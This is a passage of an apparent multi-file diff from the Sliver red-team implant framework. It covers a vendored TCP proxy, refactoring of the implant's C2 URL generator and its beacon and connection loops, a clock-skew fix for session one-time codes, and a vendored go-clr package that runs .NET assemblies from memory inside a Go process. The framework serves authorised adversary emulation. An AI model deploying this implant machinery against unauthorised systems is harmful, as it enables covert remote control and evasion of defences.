// proxies), or as the final fallback rule for an ipPort.
|
||||
//
|
||||
// The ipPort is any valid net.Listen TCP address.
|
||||
func (p *Proxy) AddRoute(ipPort string, dest Target) {
|
||||
p.addRoute(ipPort, fixedTarget{dest})
|
||||
}
|
||||
|
||||
type fixedTarget struct {
|
||||
t Target
|
||||
}
|
||||
|
||||
func (m fixedTarget) match(*bufio.Reader) (Target, string) { return m.t, "" }
|
||||
|
||||
// Run is calls Start, and then Wait.
|
||||
//
|
||||
// It blocks until there's an error. The return value is always
|
||||
// non-nil.
|
||||
func (p *Proxy) Run() error {
|
||||
if err := p.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
return p.Wait()
|
||||
}
|
||||
|
||||
// Wait waits for the Proxy to finish running. Currently this can only
|
||||
// happen if a Listener is closed, or Close is called on the proxy.
|
||||
//
|
||||
// It is only valid to call Wait after a successful call to Start.
|
||||
func (p *Proxy) Wait() error {
|
||||
<-p.donec
|
||||
return p.err
|
||||
}
|
||||
|
||||
// Close closes all the proxy's self-opened listeners.
|
||||
func (p *Proxy) Close() error {
|
||||
for _, c := range p.lns {
|
||||
c.Close()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Start creates a TCP listener for each unique ipPort from the
|
||||
// previously created routes and starts the proxy. It returns any
|
||||
// error from starting listeners.
|
||||
//
|
||||
// If it returns a non-nil error, any successfully opened listeners
|
||||
// are closed.
|
||||
func (p *Proxy) Start() error {
|
||||
if p.donec != nil {
|
||||
return errors.New("already started")
|
||||
}
|
||||
p.donec = make(chan struct{})
|
||||
errc := make(chan error, len(p.configs))
|
||||
p.lns = make([]net.Listener, 0, len(p.configs))
|
||||
for ipPort, config := range p.configs {
|
||||
ln, err := p.netListen()("tcp", ipPort)
|
||||
if err != nil {
|
||||
p.Close()
|
||||
return err
|
||||
}
|
||||
p.lns = append(p.lns, ln)
|
||||
go p.serveListener(errc, ln, config.routes)
|
||||
}
|
||||
go p.awaitFirstError(errc)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *Proxy) awaitFirstError(errc <-chan error) {
|
||||
p.err = <-errc
|
||||
close(p.donec)
|
||||
}
|
||||
|
||||
func (p *Proxy) serveListener(ret chan<- error, ln net.Listener, routes []route) {
|
||||
for {
|
||||
c, err := ln.Accept()
|
||||
if err != nil {
|
||||
ret <- err
|
||||
return
|
||||
}
|
||||
go p.serveConn(c, routes)
|
||||
}
|
||||
}
|
||||
|
||||
// serveConn runs in its own goroutine and matches c against routes.
|
||||
// It returns whether it matched purely for testing.
|
||||
func (p *Proxy) serveConn(c net.Conn, routes []route) bool {
|
||||
br := bufio.NewReader(c)
|
||||
for _, route := range routes {
|
||||
if target, hostName := route.match(br); target != nil {
|
||||
if n := br.Buffered(); n > 0 {
|
||||
peeked, _ := br.Peek(br.Buffered())
|
||||
c = &Conn{
|
||||
HostName: hostName,
|
||||
Peeked: peeked,
|
||||
Conn: c,
|
||||
}
|
||||
}
|
||||
target.HandleConn(c)
|
||||
return true
|
||||
}
|
||||
}
|
||||
// TODO: hook for this?
|
||||
log.Printf("tcpproxy: no routes matched conn %v/%v; closing", c.RemoteAddr().String(), c.LocalAddr().String())
|
||||
c.Close()
|
||||
return false
|
||||
}
|
||||
|
||||
// Conn is an incoming connection that has had some bytes read from it
|
||||
// to determine how to route the connection. The Read method stitches
|
||||
// the peeked bytes and unread bytes back together.
|
||||
type Conn struct {
|
||||
// HostName is the hostname field that was sent to the request router.
|
||||
// In the case of TLS, this is the SNI header, in the case of HTTPHost
|
||||
// route, it will be the host header. In the case of a fixed
|
||||
// route, i.e. those created with AddRoute(), this will always be
|
||||
// empty. This can be useful in the case where further routing decisions
|
||||
// need to be made in the Target impementation.
|
||||
HostName string
|
||||
|
||||
// Peeked are the bytes that have been read from Conn for the
|
||||
// purposes of route matching, but have not yet been consumed
|
||||
// by Read calls. It set to nil by Read when fully consumed.
|
||||
Peeked []byte
|
||||
|
||||
// Conn is the underlying connection.
|
||||
// It can be type asserted against *net.TCPConn or other types
|
||||
// as needed. It should not be read from directly unless
|
||||
// Peeked is nil.
|
||||
net.Conn
|
||||
}
|
||||
|
||||
func (c *Conn) Read(p []byte) (n int, err error) {
|
||||
if len(c.Peeked) > 0 {
|
||||
n = copy(p, c.Peeked)
|
||||
c.Peeked = c.Peeked[n:]
|
||||
if len(c.Peeked) == 0 {
|
||||
c.Peeked = nil
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
return c.Conn.Read(p)
|
||||
}
|
||||
|
||||
// Target is what an incoming matched connection is sent to.
|
||||
type Target interface {
|
||||
// HandleConn is called when an incoming connection is
|
||||
// matched. After the call to HandleConn, the tcpproxy
|
||||
// package never touches the conn again. Implementations are
|
||||
// responsible for closing the connection when needed.
|
||||
//
|
||||
// The concrete type of conn will be of type *Conn if any
|
||||
// bytes have been consumed for the purposes of route
|
||||
// matching.
|
||||
HandleConn(net.Conn)
|
||||
}
|
||||
|
||||
// To is shorthand way of writing &tlsproxy.DialProxy{Addr: addr}.
|
||||
func To(addr string) *DialProxy {
|
||||
return &DialProxy{Addr: addr}
|
||||
}
|
||||
|
||||
// DialProxy implements Target by dialing a new connection to Addr
|
||||
// and then proxying data back and forth.
|
||||
//
|
||||
// The To func is a shorthand way of creating a DialProxy.
|
||||
type DialProxy struct {
|
||||
// Addr is the TCP address to proxy to.
|
||||
Addr string
|
||||
|
||||
// KeepAlivePeriod sets the period between TCP keep alives.
|
||||
// If zero, a default is used. To disable, use a negative number.
|
||||
// The keep-alive is used for both the client connection and
|
||||
KeepAlivePeriod time.Duration
|
||||
|
||||
// DialTimeout optionally specifies a dial timeout.
|
||||
// If zero, a default is used.
|
||||
// If negative, the timeout is disabled.
|
||||
DialTimeout time.Duration
|
||||
|
||||
// DialContext optionally specifies an alternate dial function
|
||||
// for TCP targets. If nil, the standard
|
||||
// net.Dialer.DialContext method is used.
|
||||
DialContext func(ctx context.Context, network, address string) (net.Conn, error)
|
||||
|
||||
// OnDialError optionally specifies an alternate way to handle errors dialing Addr.
|
||||
// If nil, the error is logged and src is closed.
|
||||
// If non-nil, src is not closed automatically.
|
||||
OnDialError func(src net.Conn, dstDialErr error)
|
||||
|
||||
// ProxyProtocolVersion optionally specifies the version of
|
||||
// HAProxy's PROXY protocol to use. The PROXY protocol provides
|
||||
// connection metadata to the DialProxy target, via a header
|
||||
// inserted ahead of the client's traffic. The DialProxy target
|
||||
// must explicitly support and expect the PROXY header; there is
|
||||
// no graceful downgrade.
|
||||
// If zero, no PROXY header is sent. Currently, version 1 is supported.
|
||||
ProxyProtocolVersion int
|
||||
}
|
||||
|
||||
// UnderlyingConn returns c.Conn if c of type *Conn,
|
||||
// otherwise it returns c.
|
||||
func UnderlyingConn(c net.Conn) net.Conn {
|
||||
if wrap, ok := c.(*Conn); ok {
|
||||
return wrap.Conn
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
func goCloseConn(c net.Conn) { go c.Close() }
|
||||
|
||||
// HandleConn implements the Target interface.
|
||||
func (dp *DialProxy) HandleConn(src net.Conn) {
|
||||
ctx := context.Background()
|
||||
var cancel context.CancelFunc
|
||||
if dp.DialTimeout >= 0 {
|
||||
ctx, cancel = context.WithTimeout(ctx, dp.dialTimeout())
|
||||
}
|
||||
dst, err := dp.dialContext()(ctx, "tcp", dp.Addr)
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
if err != nil {
|
||||
dp.onDialError()(src, err)
|
||||
return
|
||||
}
|
||||
defer goCloseConn(dst)
|
||||
|
||||
if err = dp.sendProxyHeader(dst, src); err != nil {
|
||||
dp.onDialError()(src, err)
|
||||
return
|
||||
}
|
||||
defer goCloseConn(src)
|
||||
|
||||
if ka := dp.keepAlivePeriod(); ka > 0 {
|
||||
if c, ok := UnderlyingConn(src).(*net.TCPConn); ok {
|
||||
c.SetKeepAlive(true)
|
||||
c.SetKeepAlivePeriod(ka)
|
||||
}
|
||||
if c, ok := dst.(*net.TCPConn); ok {
|
||||
c.SetKeepAlive(true)
|
||||
c.SetKeepAlivePeriod(ka)
|
||||
}
|
||||
}
|
||||
|
||||
errc := make(chan error, 1)
|
||||
go proxyCopy(errc, src, dst)
|
||||
go proxyCopy(errc, dst, src)
|
||||
<-errc
|
||||
}
|
||||
|
||||
func (dp *DialProxy) sendProxyHeader(w io.Writer, src net.Conn) error {
|
||||
switch dp.ProxyProtocolVersion {
|
||||
case 0:
|
||||
return nil
|
||||
case 1:
|
||||
var srcAddr, dstAddr *net.TCPAddr
|
||||
if a, ok := src.RemoteAddr().(*net.TCPAddr); ok {
|
||||
srcAddr = a
|
||||
}
|
||||
if a, ok := src.LocalAddr().(*net.TCPAddr); ok {
|
||||
dstAddr = a
|
||||
}
|
||||
|
||||
if srcAddr == nil || dstAddr == nil {
|
||||
_, err := io.WriteString(w, "PROXY UNKNOWN\r\n")
|
||||
return err
|
||||
}
|
||||
|
||||
family := "TCP4"
|
||||
if srcAddr.IP.To4() == nil {
|
||||
family = "TCP6"
|
||||
}
|
||||
_, err := fmt.Fprintf(w, "PROXY %s %s %d %s %d\r\n", family, srcAddr.IP, srcAddr.Port, dstAddr.IP, dstAddr.Port)
|
||||
return err
|
||||
default:
|
||||
return fmt.Errorf("PROXY protocol version %d not supported", dp.ProxyProtocolVersion)
|
||||
}
|
||||
}
|
||||
|
||||
// proxyCopy is the function that copies bytes around.
|
||||
// It's a named function instead of a func literal so users get
|
||||
// named goroutines in debug goroutine stack dumps.
|
||||
func proxyCopy(errc chan<- error, dst, src net.Conn) {
|
||||
// Before we unwrap src and/or dst, copy any buffered data.
|
||||
if wc, ok := src.(*Conn); ok && len(wc.Peeked) > 0 {
|
||||
if _, err := dst.Write(wc.Peeked); err != nil {
|
||||
errc <- err
|
||||
return
|
||||
}
|
||||
wc.Peeked = nil
|
||||
}
|
||||
|
||||
// Unwrap the src and dst from *Conn to *net.TCPConn so Go
|
||||
// 1.11's splice optimization kicks in.
|
||||
src = UnderlyingConn(src)
|
||||
dst = UnderlyingConn(dst)
|
||||
|
||||
_, err := io.Copy(dst, src)
|
||||
errc <- err
|
||||
}
|
||||
|
||||
func (dp *DialProxy) keepAlivePeriod() time.Duration {
|
||||
if dp.KeepAlivePeriod != 0 {
|
||||
return dp.KeepAlivePeriod
|
||||
}
|
||||
return time.Minute
|
||||
}
|
||||
|
||||
func (dp *DialProxy) dialTimeout() time.Duration {
|
||||
if dp.DialTimeout > 0 {
|
||||
return dp.DialTimeout
|
||||
}
|
||||
return 10 * time.Second
|
||||
}
|
||||
|
||||
var defaultDialer = new(net.Dialer)
|
||||
|
||||
func (dp *DialProxy) dialContext() func(ctx context.Context, network, address string) (net.Conn, error) {
|
||||
if dp.DialContext != nil {
|
||||
return dp.DialContext
|
||||
}
|
||||
return defaultDialer.DialContext
|
||||
}
|
||||
|
||||
func (dp *DialProxy) onDialError() func(src net.Conn, dstDialErr error) {
|
||||
if dp.OnDialError != nil {
|
||||
return dp.OnDialError
|
||||
}
|
||||
return func(src net.Conn, dstDialErr error) {
|
||||
log.Printf("tcpproxy: for incoming conn %v, error dialing %q: %v", src.RemoteAddr().String(), dp.Addr, dstDialErr)
|
||||
src.Close()
|
||||
}
|
||||
}
|
||||
@@ -113,7 +113,7 @@ func (b *Beacon) Duration() time.Duration {
|
||||
}
|
||||
|
||||
// StartBeaconLoop - Starts the beacon loop generator
|
||||
func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
|
||||
func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting beacon loop ...")
|
||||
// {{end}}
|
||||
@@ -122,7 +122,7 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
|
||||
nextBeacon := make(chan *Beacon)
|
||||
|
||||
innerAbort := make(chan struct{})
|
||||
c2Generator := C2Generator(c2s, innerAbort)
|
||||
c2Generator := C2Generator(innerAbort)
|
||||
|
||||
go func() {
|
||||
defer close(nextBeacon)
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package transports
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
"sync"
|
||||
@@ -14,7 +32,7 @@ type Connection struct {
|
||||
ctrl chan struct{}
|
||||
cleanup func()
|
||||
once *sync.Once
|
||||
tunnels *map[uint64]*Tunnel
|
||||
tunnels map[uint64]*Tunnel
|
||||
mutex *sync.RWMutex
|
||||
|
||||
uri *url.URL
|
||||
@@ -53,7 +71,7 @@ func (c *Connection) Cleanup() {
|
||||
func (c *Connection) Tunnel(ID uint64) *Tunnel {
|
||||
c.mutex.RLock()
|
||||
defer c.mutex.RUnlock()
|
||||
return (*c.tunnels)[ID]
|
||||
return c.tunnels[ID]
|
||||
}
|
||||
|
||||
// AddTunnel - Add tunnel to mapping
|
||||
@@ -61,7 +79,7 @@ func (c *Connection) AddTunnel(tun *Tunnel) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
(*c.tunnels)[tun.ID] = tun
|
||||
c.tunnels[tun.ID] = tun
|
||||
}
|
||||
|
||||
// RemoveTunnel - Add tunnel to mapping
|
||||
@@ -69,17 +87,17 @@ func (c *Connection) RemoveTunnel(ID uint64) {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
delete(*c.tunnels, ID)
|
||||
delete(c.tunnels, ID)
|
||||
}
|
||||
|
||||
func (c *Connection) removeAndCloseAllTunnels() {
|
||||
c.mutex.Lock()
|
||||
defer c.mutex.Unlock()
|
||||
|
||||
for id, tunnel := range *c.tunnels {
|
||||
for id, tunnel := range c.tunnels {
|
||||
tunnel.Close()
|
||||
|
||||
delete(*c.tunnels, id)
|
||||
delete(c.tunnels, id)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -58,6 +58,7 @@ const (
|
||||
var (
|
||||
ErrClosed = errors.New("http session closed")
|
||||
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
|
||||
TimeDelta time.Duration = 0
|
||||
)
|
||||
|
||||
// HTTPOptions - c2 specific configuration options
|
||||
@@ -334,7 +335,8 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
|
||||
|
||||
uri := s.startSessionURL()
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
otpCode := cryptography.GetOTPCode()
|
||||
timestamp := time.Now().UTC().Add(TimeDelta)
|
||||
otpCode := cryptography.GetExactOTPCode(timestamp)
|
||||
s.OTPQueryArgument(uri, otpCode)
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
|
||||
// {{if .Config.Debug}}
|
||||
@@ -349,6 +351,15 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
|
||||
return err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
serverDateHeader := resp.Header.Get("Date")
|
||||
if serverDateHeader != "" {
|
||||
// If the request failed and there is a Date header, find the time difference and save it for the next request
|
||||
curTime := time.Now().UTC()
|
||||
serverTime, err := time.Parse(time.RFC1123, serverDateHeader)
|
||||
if err == nil {
|
||||
TimeDelta = serverTime.UTC().Sub(curTime)
|
||||
}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] non-200 response (%d): %v", resp.StatusCode, resp)
|
||||
// {{end}}
|
||||
|
||||
@@ -80,7 +80,7 @@ type Start func() error
|
||||
type Stop func() error
|
||||
|
||||
// StartConnectionLoop - Starts the main connection loop
|
||||
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
|
||||
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting interactive session connection loop ...")
|
||||
@@ -88,7 +88,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
|
||||
|
||||
nextConnection := make(chan *Connection)
|
||||
innerAbort := make(chan struct{})
|
||||
c2Generator := C2Generator(c2s, innerAbort)
|
||||
c2Generator := C2Generator(innerAbort)
|
||||
|
||||
go func() {
|
||||
var connection *Connection
|
||||
@@ -204,7 +204,7 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: false,
|
||||
@@ -306,7 +306,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
uri: uri,
|
||||
@@ -414,7 +414,7 @@ func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
uri: uri,
|
||||
@@ -535,7 +535,7 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
@@ -644,7 +644,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
|
||||
@@ -36,10 +36,18 @@ const (
|
||||
)
|
||||
|
||||
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
|
||||
func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
|
||||
func C2Generator(abort <-chan struct{}) <-chan *url.URL {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
|
||||
// {{end}}
|
||||
|
||||
c2Servers := []func() string{}
|
||||
// {{range $index, $value := .Config.C2}}
|
||||
c2Servers = append(c2Servers, func() string {
|
||||
return "{{$value}}" // {{$index}}
|
||||
})
|
||||
// {{end}} - range
|
||||
|
||||
generator := make(chan *url.URL)
|
||||
go func() {
|
||||
defer close(generator)
|
||||
@@ -48,16 +56,16 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
|
||||
var next string
|
||||
switch "{{.Config.ConnectionStrategy}}" {
|
||||
case strategyRandom: // Random
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
|
||||
case strategyRandomDomain: // Random Domain
|
||||
// Select the next sequential C2 then use it's protocol to make a random
|
||||
// selection from all C2s that share it's protocol.
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]
|
||||
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
|
||||
next = randomCCDomain(c2Servers, next)
|
||||
case strategySequential: // Sequential
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]()
|
||||
default:
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]
|
||||
next = c2Servers[c2Counter%uint(len(c2Servers))]()
|
||||
}
|
||||
c2Counter++
|
||||
if ^uint(0) < c2Counter {
|
||||
@@ -90,15 +98,15 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
|
||||
}
|
||||
|
||||
// randomCCDomain - Random selection within a protocol
|
||||
func randomCCDomain(ccServers []string, next string) string {
|
||||
func randomCCDomain(ccServers []func() string, next string) string {
|
||||
uri, err := url.Parse(next)
|
||||
if err != nil {
|
||||
return next
|
||||
}
|
||||
pool := []string{}
|
||||
pool := []func() string{}
|
||||
protocol := uri.Scheme
|
||||
for _, cc := range ccServers {
|
||||
uri, err := url.Parse(cc)
|
||||
uri, err := url.Parse(cc())
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -106,7 +114,7 @@ func randomCCDomain(ccServers []string, next string) string {
|
||||
pool = append(pool, cc)
|
||||
}
|
||||
}
|
||||
return pool[insecureRand.Intn(len(pool))]
|
||||
return pool[insecureRand.Intn(len(pool))]()
|
||||
}
|
||||
|
||||
var (
|
||||
|
||||
@@ -46,7 +46,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
tunnels: map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
.idea
|
||||
__handlers__
|
||||
*.exe
|
||||
*.dll
|
||||
*.cs
|
||||
scratch/
|
||||
static/
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
Version 2, December 2004
|
||||
|
||||
Copyright (C) 2004 Sam Hocevar <[email protected]>
|
||||
|
||||
Everyone is permitted to copy and distribute verbatim or modified
|
||||
copies of this license document, and changing it is allowed as long
|
||||
as the name is changed.
|
||||
|
||||
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. You just DO WHAT THE FUCK YOU WANT TO.
|
||||
+69
@@ -0,0 +1,69 @@
|
||||
# go-clr
|
||||
[](https://godoc.org/github.com/ropnop/go-clr)
|
||||
|
||||
This is my PoC code for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory.
|
||||
|
||||
It's written in pure Go by just wrapping the needed syscalls and making use of a lot of unsafe.Pointers to
|
||||
load structs from memory.
|
||||
|
||||
For more info and references, see [this blog post](https://blog.ropnop.com/hosting-clr-in-golang/).
|
||||
|
||||
This was was a fun project and proof of concept, but the code is definitely not "production ready". It makes heavy use
|
||||
of `unsafe` and it's probably very unstable. I don't plan on supporting it much moving forward,
|
||||
but I wanted to share the code and knowledge to enable others to either contribute, or fork and make their own awesome tools.
|
||||
|
||||
## Installation and Usage
|
||||
`go-clr` is intended to be used as a package in other scripts. Install it with:
|
||||
```bash
|
||||
go get github.com/ropnop/go-clr
|
||||
```
|
||||
|
||||
Take a look at the [examples](./examples) folder for some examples on how to leverage it. The package exposes all the structs and methods
|
||||
necessary to customize, but it also includes two "magic" functions to execute .NET from Go: `ExecuteDLLFromDisk` and
|
||||
`ExecuteByteArray`. Here's a quick example of using both:
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
clr "github.com/ropnop/go-clr"
|
||||
"log"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func main() {
|
||||
fmt.Println("[+] Loading DLL from Disk")
|
||||
ret, err := clr.ExecuteDLLFromDisk(
|
||||
"TestDLL.dll",
|
||||
"TestDLL.HelloWorld",
|
||||
"SayHello",
|
||||
"foobar")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("[+] DLL Return Code: %d\n", ret)
|
||||
|
||||
|
||||
fmt.Println("[+] Executing EXE from memory")
|
||||
exebytes, err := ioutil.ReadFile("helloworld.exe")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
runtime.KeepAlive(exebytes)
|
||||
|
||||
ret2, err := clr.ExecuteByteArray(exebytes)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Printf("[+] EXE Return Code: %d\n", ret2)
|
||||
}
|
||||
```
|
||||
|
||||
The other 2 examples show the same technique but without the magic functions.
|
||||
|
||||
### License
|
||||
This project is licensed under the [Do What the Fuck You Want to Public License](http://www.wtfpl.net/). I deliberately
|
||||
chose this "joke" license because I really don't think anyone should be using this for anything serious, and I know
|
||||
some organizations forbid this license from being used in products (which is a good thing).
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
//go:build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// AppDomain is a Windows COM object interface pointer for the .NET AppDomain class.
|
||||
// The AppDomain object represents an application domain, which is an isolated environment where applications execute.
|
||||
// This structure only contains a pointer to the AppDomain's virtual function table
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
|
||||
type AppDomain struct {
|
||||
vtbl *AppDomainVtbl
|
||||
}
|
||||
|
||||
// AppDomainVtbl is a Virtual Function Table for the AppDomain COM interface
|
||||
// The Virtual Function Table contains pointers to the COM IUnkown interface
|
||||
// functions (QueryInterface, AddRef, & Release) as well as the AppDomain object's methods
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
|
||||
type AppDomainVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
InitializeLifetimeService uintptr
|
||||
GetLifetimeService uintptr
|
||||
get_Evidence uintptr
|
||||
add_DomainUnload uintptr
|
||||
remove_DomainUnload uintptr
|
||||
add_AssemblyLoad uintptr
|
||||
remove_AssemblyLoad uintptr
|
||||
add_ProcessExit uintptr
|
||||
remove_ProcessExit uintptr
|
||||
add_TypeResolve uintptr
|
||||
remove_TypeResolve uintptr
|
||||
add_ResourceResolve uintptr
|
||||
remove_ResourceResolve uintptr
|
||||
add_AssemblyResolve uintptr
|
||||
remove_AssemblyResolve uintptr
|
||||
add_UnhandledException uintptr
|
||||
remove_UnhandledException uintptr
|
||||
DefineDynamicAssembly uintptr
|
||||
DefineDynamicAssembly_2 uintptr
|
||||
DefineDynamicAssembly_3 uintptr
|
||||
DefineDynamicAssembly_4 uintptr
|
||||
DefineDynamicAssembly_5 uintptr
|
||||
DefineDynamicAssembly_6 uintptr
|
||||
DefineDynamicAssembly_7 uintptr
|
||||
DefineDynamicAssembly_8 uintptr
|
||||
DefineDynamicAssembly_9 uintptr
|
||||
CreateInstance uintptr
|
||||
CreateInstanceFrom uintptr
|
||||
CreateInstance_2 uintptr
|
||||
CreateInstanceFrom_2 uintptr
|
||||
CreateInstance_3 uintptr
|
||||
CreateInstanceFrom_3 uintptr
|
||||
Load uintptr
|
||||
Load_2 uintptr
|
||||
Load_3 uintptr
|
||||
Load_4 uintptr
|
||||
Load_5 uintptr
|
||||
Load_6 uintptr
|
||||
Load_7 uintptr
|
||||
ExecuteAssembly uintptr
|
||||
ExecuteAssembly_2 uintptr
|
||||
ExecuteAssembly_3 uintptr
|
||||
get_FriendlyName uintptr
|
||||
get_BaseDirectory uintptr
|
||||
get_RelativeSearchPath uintptr
|
||||
get_ShadowCopyFiles uintptr
|
||||
GetAssemblies uintptr
|
||||
AppendPrivatePath uintptr
|
||||
ClearPrivatePath uintptr
|
||||
SetShadowCopyPath uintptr
|
||||
ClearShadowCopyPath uintptr
|
||||
SetCachePath uintptr
|
||||
SetData uintptr
|
||||
GetData uintptr
|
||||
SetAppDomainPolicy uintptr
|
||||
SetThreadPrincipal uintptr
|
||||
SetPrincipalPolicy uintptr
|
||||
DoCallBack uintptr
|
||||
get_DynamicDirectory uintptr
|
||||
}
|
||||
|
||||
// GetAppDomain is a wrapper function that returns an appDomain from an existing ICORRuntimeHost object
|
||||
func GetAppDomain(runtimeHost *ICORRuntimeHost) (appDomain *AppDomain, err error) {
|
||||
debugPrint("Entering into appdomain.GetAppDomain()...")
|
||||
iu, err := runtimeHost.GetDefaultDomain()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = iu.QueryInterface(IID_AppDomain, unsafe.Pointer(&appDomain))
|
||||
return
|
||||
}
|
||||
|
||||
func (obj *AppDomain) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
|
||||
debugPrint("Entering into appdomain.QueryInterface()...")
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(riid)),
|
||||
uintptr(unsafe.Pointer(ppvObject)))
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *AppDomain) AddRef() uintptr {
|
||||
